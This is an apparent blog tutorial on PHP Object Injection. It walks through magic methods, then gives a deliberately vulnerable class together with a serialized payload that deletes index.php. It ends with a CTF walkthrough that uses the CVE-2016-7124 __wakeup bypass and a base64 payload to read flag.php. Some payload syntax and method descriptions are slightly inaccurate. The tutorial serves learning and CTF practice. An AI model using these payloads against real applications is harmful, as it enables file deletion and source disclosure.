0x00 Description
PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks.The Vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.
In order to successfully expliot a PHP Object injection,We need some conditions:
- The application must have a class which implements a PHP magic method,such as __wakeup and __destruct
- unserialize() must be called
0x01 Relevant magic method
__construct and __destruct
- __construct will be called on each newly-created object
- __destruct will be called as soon as there are no other references to a particular object,or in any order during the shutdown sequence
__sleep and __wakeup
- __sleep will be called before any serialization
- __wakeup will be called after any serialization
so usually, __wakeup will be called before __destruct is called.
0x02 Example
<?php
class example
{
public $filename = 'temp.txt';
public function LogData($text)
{
file_put_contents($this->filename, $text, FILE_APPEND);
}
public function __destruct()
{
unlink(dirname(__FILE__) . '/' . $this->filename);
}
}
if(isset($_GET['user']))
$usr = unserialize($_GET['user']);
?>
Look at this example,if we pass an ‘example Object’ into $GET[‘user’] which filename = somefilename on the server,we can use the __destruct to unlink the file!!
we can construct a serialized string:
O:7:'example':1{s:8:'filename';s:9:'index.php';}
And then access the url ‘url/?user=O:7:‘example’:1{s:8:‘filename’;s:9:‘index.php’;}’,and you will find the file ‘index.php’ is deleted.
0x03 A easy ctf example
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file );
}
#<!--key in flag.php-->
?>
In this game,apparently,the key in the flag.php,and we should structure a serialize string which $file=flag,and then base64encode it.
But,in here,there is a problem.__wakeup set the $file = ‘index.php’,and we should bypass it.
Fortunately,We can use CVE-2016-7124 to achieve the target.
CVE-2016-7124 allows remote attackers to cause a denial of service or possibly have unspecified other impact via crafted serialized data that leads to a (1) __destruct call or (2) magic method call in PHP before 5.6.25 and 7.x before 7.0.10
So,exploit string like that:
// before base64encode
O:5:"SoFun":2:{s:4:"file";s:8:"flag.php";}
// after base64encode
Tzo1OiJTb0Z1biI6Mjp7czo0OiJmaWxlIjtzOjg6ImZsYWcucGhwIjt9
0x04 Defense
As said at the beginning,we have to properly sanitize the user-supplied input before it being passed to the unserialize() PHP function.
0x05 Other Magic Methods in PHP
Magic Methods Name | Triggering Conditions |
---|---|
__call | triggered when invoking inaccessible methods in an object context. |
__callStatic | triggered when invoking inaccessible methods in a static context. |
__set | run when writing data to inaccessible properties. |
__get | utilized for reading data from inaccessible properties. |
__isset | triggered by calling isset() or empty() on inaccessible properties. |
__unset | invoked when unset() is used on inaccessible properties. |
__toString | allows a class to decide how it will react when it is treated like a string. |
__invoke | called when a script tries to call an object as a function. |
__set_state | called for classes exported by var_export() since PHP 5.1.0. |
__clone | Once the cloning is complete, if a __clone() method is defined, then the newly created object’s __clone() method will be called, to allow any necessary properties that need to be changed. |
__debugInfo | This method is called by var_dump() when dumping an object to get the properties that should be shown. If the method isn’t defined on an object, then all public, protected and private properties will be shown. |
0x06 Extra
It’s my first time to write an English article,feeling good,uhmmm.